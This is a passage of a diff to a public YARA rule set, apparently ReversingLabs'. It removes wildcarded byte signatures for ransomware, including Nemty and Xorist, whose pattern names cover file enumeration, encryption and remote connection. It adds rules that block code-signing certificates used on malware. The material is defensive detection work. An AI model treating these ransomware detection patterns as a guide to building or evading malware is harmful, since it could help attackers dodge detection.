?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? - ?? 8B 85 ?? ?? ?? ?? 50 8D 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? - ?? ?? 5A E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? - ?? ?? 8B 85 ?? ?? ?? ?? 50 8D 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? - ?? ?? ?? 5A E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? - ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 8D 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 - ?? ?? ?? ?? 5A E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF - 30 64 89 20 8B 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? 80 7C 02 ?? ?? 74 ?? 8D 45 ?? BA ?? ?? - ?? ?? E8 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 55 ?? - E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 - C0 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? - ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? ?? - ?? 83 E0 ?? 83 F8 ?? 75 ?? A1 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? 8B 10 FF 92 ?? ?? ?? ?? - 84 C0 0F 84 ?? ?? ?? ?? FF 75 ?? FF B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 - } - $enum_and_encrypt_files_2 = { - BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 85 - ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 8D 95 ?? - ?? ?? ?? 33 C0 E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 58 E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? - C6 45 ?? ?? A1 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? 8B 10 FF 52 ?? 8B D8 - 4B 85 DB 0F 8C ?? ?? ?? ?? 43 33 F6 8D 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? - ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 8D 8D ?? - ?? ?? ?? A1 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? 8B D6 8B 38 FF 57 ?? 8B - 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? - BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 58 E8 ?? ?? ?? ?? 75 ?? C6 45 ?? ?? - 46 4B 0F 85 ?? ?? ?? ?? 80 7D ?? ?? 0F 84 ?? ?? ?? ?? A1 ?? ?? ?? ?? 50 A1 ?? ?? ?? - ?? 50 8D 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? - 8B 0D ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? 8B 15 ?? ?? ?? - ?? 83 C0 ?? 83 D2 ?? 89 05 ?? ?? ?? ?? 89 15 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 80 ?? ?? - ?? ?? 8B 10 FF 92 ?? ?? ?? ?? 84 C0 75 ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 35 ?? - ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? - ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 80 ?? ?? - ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 - } - condition: - uint16( 0 ) == 0x5A4D and ( ( all of ( $enum_and_encrypt_files_* ) ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OASIS COURT LIMITED" and ( pe.signatures [ i ] . serial == "00:e4:e7:95:fd:1f:d2:55:95:b8:69:ce:22:aa:7d:c4:9f" or pe.signatures [ i ] . serial == "e4:e7:95:fd:1f:d2:55:95:b8:69:ce:22:aa:7d:c4:9f" ) and 1608508800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Nemty : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_E953Ada7E8F1438E5F7680Ff599Ae43E : INFO FILE { meta: - description = "Yara rule that detects Nemty ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "c56ecd32-5903-5bcc-aa69-a070f2c247c4" - date = "2020-06-26" - modified = "2020-07-15" + id = "2bce88d4-24e6-59e5-ae02-5284ec43cfa4" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Nemty.yara#L1-L205" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11900-L11918" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "dc8cfdcdea8ecb2018b1b04bb1b645f6dbdc6c07357719100677c75945edef40" + logic_hash = "7cb7d77abefd35f0756c5aa0983f7403cca4cbacd94dcc6b510c929bc96c8309" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Nemty" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $remote_connection_p1 = { - 55 8B EC 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 33 DB 68 ?? ?? ?? ?? 8D 75 - ?? 89 5D ?? E8 ?? ?? ?? ?? 50 8D 45 ?? E8 ?? ?? ?? ?? 83 78 ?? ?? 59 59 72 ?? 8B 00 - 53 53 50 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 6A ?? 33 FF 8D 75 ?? E8 ?? ?? ?? ?? 6A - ?? 8D 75 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 75 ?? E8 ?? ?? ?? ?? 50 8D 45 ?? E8 ?? - ?? ?? ?? 83 78 ?? ?? 59 59 72 ?? 8B 00 53 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? - ?? ?? ?? 3D ?? ?? ?? ?? 74 ?? 32 DB EB ?? B3 ?? 6A ?? 33 FF 8D 75 ?? E8 ?? ?? ?? ?? - 6A ?? 8D 75 ?? E8 ?? ?? ?? ?? 84 DB 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 75 ?? E8 ?? - ?? ?? ?? 50 8D 45 ?? E8 ?? ?? ?? ?? 83 78 ?? ?? 59 59 72 ?? 8B 00 8B 1D ?? ?? ?? ?? - 50 FF D3 6A ?? 33 FF 8D 75 ?? 89 45 ?? E8 ?? ?? ?? ?? 6A ?? 8D 75 ?? E8 ?? ?? ?? ?? - 68 ?? ?? ?? ?? 8D 75 ?? E8 ?? ?? ?? ?? 50 8D 45 ?? E8 ?? ?? ?? ?? 83 78 ?? ?? 59 59 - 72 ?? 8B 00 50 FF D3 33 DB 43 53 33 FF 8D 75 ?? 89 45 ?? E8 ?? ?? ?? ?? 53 8D 75 ?? - E8 ?? ?? ?? ?? FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 59 59 FF 75 ?? FF - } - $remote_connection_p2 = { - D6 FF 75 ?? FF D6 68 ?? ?? ?? ?? 8D 75 ?? E8 ?? ?? ?? ?? 50 8D 45 ?? E8 ?? ?? ?? ?? - 83 78 ?? ?? 59 59 72 ?? 8B 00 50 FF 15 ?? ?? ?? ?? 53 33 FF 8D 75 ?? E8 ?? ?? ?? ?? - 53 8D 75 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 75 ?? E8 ?? ?? ?? ?? 50 8D 45 ?? E8 ?? - ?? ?? ?? 83 78 ?? ?? 59 59 72 ?? 8B 00 33 C9 51 51 51 50 68 ?? ?? ?? ?? 51 FF 15 ?? - ?? ?? ?? 53 33 FF 8D 75 ?? E8 ?? ?? ?? ?? 53 8D 75 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? - FF 15 ?? ?? ?? ?? 8B 4D ?? 6A ?? 5A 8B C1 39 55 ?? 73 ?? 8D 45 ?? 03 45 ?? 39 55 ?? - 73 ?? 8D 4D ?? EB ?? 80 39 ?? 75 ?? C6 01 ?? 41 3B C8 75 ?? 8B 45 ?? 39 55 ?? 73 ?? - 8D 45 ?? 03 45 ?? 8B 4D ?? 39 55 ?? 73 ?? 8D 4D ?? EB ?? 80 39 ?? 75 ?? C6 01 ?? 41 - 3B C8 75 ?? 8B 45 ?? 39 55 ?? 73 ?? 8D 45 ?? 03 45 ?? 8B 4D ?? 39 55 ?? 73 ?? 8D 4D - ?? EB ?? 80 39 ?? 75 ?? C6 01 ?? 41 3B C8 75 ?? 83 EC ?? 8D 45 ?? 8B F4 50 E8 ?? ?? - ?? ?? 83 EC ?? 8B F4 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 33 - FF 8D 75 ?? E8 ?? ?? ?? ?? 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? C9 C3 - } - $enum_resources_p1 = { - 55 8B EC 83 E4 ?? 83 EC ?? A1 ?? ?? ?? ?? 33 C4 89 44 24 ?? 53 56 57 FF 15 ?? ?? ?? - ?? 83 64 24 ?? ?? 89 44 24 ?? BB ?? ?? ?? ?? 8B 54 24 ?? 8B 4C 24 ?? D3 EA 33 C0 40 - 23 D0 0F 84 ?? ?? ?? ?? 83 64 24 ?? ?? 6A ?? 80 C1 ?? 5F 88 4C 24 ?? FF 74 24 ?? 8D - 74 24 ?? 89 7C 24 ?? C6 44 24 ?? ?? E8 ?? ?? ?? ?? 83 64 24 ?? ?? 8B 74 24 ?? 53 89 - 7C 24 ?? C6 44 24 ?? ?? E8 ?? ?? ?? ?? 59 03 C6 8D 4C 24 ?? E8 ?? ?? ?? ?? 6A ?? 8D - 44 24 ?? 50 83 C8 ?? 8D 74 24 ?? E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 59 8B F8 53 8B C6 - E8 ?? ?? ?? ?? 83 7C 24 ?? ?? 8B 44 24 ?? 73 ?? 8B C6 50 FF 15 ?? ?? ?? ?? 6A ?? 33 - FF 8D 74 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? 83 7C 24 ?? ?? 75 ?? 53 E8 ?? ?? ?? ?? 59 - 8B F8 53 8D 44 24 ?? E8 ?? ?? ?? ?? 8D 44 24 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? - ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 8D 44 24 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? - 33 FF 8D 74 24 ?? E8 ?? ?? ?? ?? 83 7C 24 ?? ?? 75 ?? 53 E8 ?? ?? ?? ?? 59 8B F8 53 - 8D 44 24 ?? E8 ?? ?? ?? ?? 8D 44 24 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 - } - $enum_resources_p2 = { - 8D 44 24 ?? E8 ?? ?? ?? ?? 8D 44 24 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 33 FF 8D - 74 24 ?? E8 ?? ?? ?? ?? 83 7C 24 ?? ?? 75 ?? 53 E8 ?? ?? ?? ?? 59 8B F8 53 8D 44 24 - ?? E8 ?? ?? ?? ?? 8D 44 24 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 - ?? E8 ?? ?? ?? ?? 8D 44 24 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 33 FF 8D 74 24 ?? - E8 ?? ?? ?? ?? 83 7C 24 ?? ?? 8B 44 24 ?? 73 ?? 8D 44 24 ?? 6A ?? 8D 4C 24 ?? 51 8D - 4C 24 ?? 51 50 FF 15 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 0F AC C8 ?? 89 44 24 ?? 8D - 44 24 ?? BE ?? ?? ?? ?? C1 E9 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 0F AC C8 ?? - 89 44 24 ?? 8D 44 24 ?? BE ?? ?? ?? ?? C1 E9 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 2B 44 24 - ?? 8B 4C 24 ?? 1B 4C 24 ?? BE ?? ?? ?? ?? 0F AC C8 ?? 89 44 24 ?? 8D 44 24 ?? C1 E9 - ?? E8 ?? ?? ?? ?? 6A ?? 33 FF 8D 74 24 ?? E8 ?? ?? ?? ?? FF 44 24 ?? 83 7C 24 ?? ?? - 0F 8C ?? ?? ?? ?? 8B 4C 24 ?? 5F 5E 5B 33 CC E8 ?? ?? ?? ?? 8B E5 5D C3 - } - $find_files_1_p1 = { - 6A ?? 8D 74 24 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 - 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 0F 85 ?? ?? ?? - ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? - ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? - E8 ?? ?? ?? ?? 59 84 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? - 59 84 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 0F 85 - ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 0F 85 ?? ?? ?? ?? 68 - ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D - 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? - ?? ?? ?? 59 84 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 - } - $find_files_1_p2 = { - C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 0F 85 ?? ?? - ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? - ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 - ?? E8 ?? ?? ?? ?? 59 84 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? - ?? 59 84 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 0F - 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 75 ?? 68 ?? ?? ?? - ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 75 ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? - ?? 59 84 C0 75 ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 75 ?? 68 ?? ?? - ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 75 ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? - ?? ?? 59 84 C0 75 ?? 83 EC ?? 8D 44 24 ?? 8B F4 50 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 - C4 ?? 6A ?? 33 FF 8D 74 24 ?? E8 ?? ?? ?? ?? 6A ?? 8D 74 24 ?? E8 ?? ?? ?? ?? 8D 84 - 24 ?? ?? ?? ?? 50 FF 74 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 74 24 ?? - FF 15 - } - $find_files_2_p1 = { - 8D 44 24 ?? 8D 8C 24 ?? ?? ?? ?? 51 50 FF 15 ?? ?? ?? ?? 89 44 24 ?? 83 F8 ?? 0F 84 - ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F - 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? - 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? - 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? - ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 - 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? - ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? - ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? BF ?? ?? ?? ?? 57 8D - 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 57 8D 84 24 ?? ?? ?? ?? 50 FF D6 - 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? - ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? - ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 - 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 - } - $find_files_2_p2 = { - 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 - 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? - ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? - ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? - ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 8D 44 24 ?? E8 ?? - ?? ?? ?? 83 4C 24 ?? ?? 83 EC ?? 8B C4 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 8D 4C - 24 ?? 8B C4 51 E8 ?? ?? ?? ?? 59 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 84 24 ?? ?? - ?? ?? 50 8D 44 24 ?? E8 ?? ?? ?? ?? 83 4C 24 ?? ?? 83 EC ?? 8B C4 68 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 83 EC ?? 8D 8C 24 ?? ?? ?? ?? 8B C4 51 E8 ?? ?? ?? ?? 59 E8 ?? ?? ?? ?? - 83 C4 ?? 85 C0 75 ?? 32 DB EB ?? B3 ?? F6 44 24 ?? ?? 74 ?? 83 64 24 ?? ?? 6A ?? 33 - FF 8D 74 24 ?? E8 ?? ?? ?? ?? F6 44 24 ?? ?? 74 ?? 83 64 24 ?? ?? 6A ?? 33 FF 8D 74 - } - $find_files_2_p3 = { - 24 ?? E8 ?? ?? ?? ?? 84 DB 0F 85 ?? ?? ?? ?? F6 84 24 ?? ?? ?? ?? ?? 8D 84 24 ?? ?? - ?? ?? 50 0F 84 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 8B F0 8B - 46 ?? 59 83 C9 ?? 2B C8 83 F9 ?? 0F 86 ?? ?? ?? ?? 8D 58 ?? 6A ?? 8B C6 E8 ?? ?? ?? - ?? 84 C0 74 ?? 83 7E ?? ?? 8B 4E ?? 72 ?? 8B 06 EB ?? 8B C6 6A ?? 5A 66 89 14 48 83 - 7E ?? ?? 89 5E ?? 72 ?? 8B 06 EB ?? 8B C6 33 C9 66 89 0C 58 8B DE 8D 74 24 ?? E8 ?? - ?? ?? ?? 8B DE 8D 44 24 ?? E8 ?? ?? ?? ?? 6A ?? 33 FF E8 ?? ?? ?? ?? 6A ?? 8D 74 24 - ?? E8 ?? ?? ?? ?? 83 EC ?? 8D 44 24 ?? 8B F4 50 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 44 - 24 ?? 8B F4 50 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8D 44 24 ?? E8 - ?? ?? ?? ?? 8D 44 24 ?? 50 8D 44 24 ?? E8 ?? ?? ?? ?? 59 6A ?? 33 FF 8D 74 24 ?? E8 - ?? ?? ?? ?? 6A ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 40 33 C9 8D 74 24 ?? E8 ?? ?? ?? ?? 8D - 84 24 ?? ?? ?? ?? 50 8D 44 24 ?? E8 ?? ?? ?? ?? 8D 44 24 ?? 50 8D 44 24 ?? E8 ?? ?? - ?? ?? 59 6A ?? 8D 74 24 ?? E8 ?? ?? ?? ?? 6A ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 40 33 C9 - 8D 74 24 ?? E8 - } - $encrypt_files_p1 = { - 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 8B D9 33 F6 C7 43 ?? - ?? ?? ?? ?? 89 73 ?? C6 03 ?? A1 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 57 2B C1 6A ?? 99 5F - F7 FF 89 9D ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? 85 C0 74 ?? 89 B5 ?? ?? ?? ?? 8B 85 ?? ?? - ?? ?? 83 EC ?? 03 C1 8B F4 50 E8 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 6A - ?? 50 83 C8 ?? 8B F3 E8 ?? ?? ?? ?? 6A ?? 33 FF 8D 75 ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? - ?? 8B 0D ?? ?? ?? ?? 2B C1 6A ?? 99 5E F7 FE FF 85 ?? ?? ?? ?? 83 85 ?? ?? ?? ?? ?? - 39 85 ?? ?? ?? ?? 72 ?? 8B 53 ?? 6A ?? 5F C6 85 ?? ?? ?? ?? ?? 3B D7 72 ?? 8B 0B EB - ?? 8B CB 8B 43 ?? 03 C1 3B D7 72 ?? 8B 0B EB ?? 8B CB 50 51 8D 85 ?? ?? ?? ?? 50 8D - 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 39 7B ?? 72 ?? 8B 03 EB ?? 8B C3 8B 5B ?? 8B - B5 ?? ?? ?? ?? 03 D8 53 FF B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? 8B - 4E ?? C6 85 ?? ?? ?? ?? ?? 3B CF 72 ?? 8B 16 EB ?? 8B D6 8B 46 ?? 03 C2 3B CF 72 ?? - 8B 0E EB ?? 8B CE 50 51 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 - ?? 39 7E ?? 72 ?? 8B 0E EB ?? 8B CE 8B 46 ?? 03 C1 50 FF B5 ?? ?? ?? ?? 8D 9D ?? ?? - ?? ?? 8B C6 E8 ?? ?? ?? ?? 8B 46 ?? 50 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8B 4E - } - $encrypt_files_p2 = { - 89 85 ?? ?? ?? ?? 3B CF 72 ?? 8B 16 EB ?? 8B D6 8B 46 ?? 03 C2 3B CF 72 ?? 8B 0E EB - ?? 8B CE 3B C8 74 ?? 8B B5 ?? ?? ?? ?? 2B F1 8A 11 88 14 0E 41 3B C8 75 ?? 8D 45 ?? - 50 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 75 ?? 8B F8 C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 50 8D 45 ?? E8 ?? ?? ?? ?? 8B F0 8B 46 ?? 8B 56 ?? 59 59 8B 4F ?? 2B C2 3B C8 76 ?? - 8B 47 ?? 2B C1 3B C2 72 ?? 56 8B F7 E8 ?? ?? ?? ?? EB ?? 6A ?? 57 83 C8 ?? E8 ?? ?? - ?? ?? 8B D8 8D 75 ?? E8 ?? ?? ?? ?? 8B C6 68 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 83 78 ?? ?? 59 59 72 ?? 8B 00 33 DB 53 68 ?? ?? ?? ?? 6A ?? 53 53 68 ?? ?? - ?? ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 33 FF 8D B5 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 6A ?? 8D 75 ?? E8 ?? ?? ?? ?? 6A ?? 8D 75 ?? E8 ?? ?? ?? ?? 6A ?? 8D 75 ?? E8 - ?? ?? ?? ?? 6A ?? 8D 75 ?? E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 3B F3 74 ?? 53 53 53 56 - FF 15 ?? ?? ?? ?? 53 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 56 FF - 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? - ?? 59 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? C9 C3 - } - condition: - uint16( 0 ) == 0x5A4D and ( all of ( $find_files_1_p* ) ) and ( all of ( $find_files_2_p* ) ) and ( all of ( $enum_resources_p* ) ) and ( all of ( $encrypt_files_p* ) ) and ( all of ( $remote_connection_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "KULBYT LLC" and ( pe.signatures [ i ] . serial == "00:e9:53:ad:a7:e8:f1:43:8e:5f:76:80:ff:59:9a:e4:3e" or pe.signatures [ i ] . serial == "e9:53:ad:a7:e8:f1:43:8e:5f:76:80:ff:59:9a:e4:3e" ) and 1614729600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Xorist : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_28C57Df09Ce7Cc3Fde2243Beb4D00101 : INFO FILE { meta: - description = "Yara rule that detects Xorist ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = 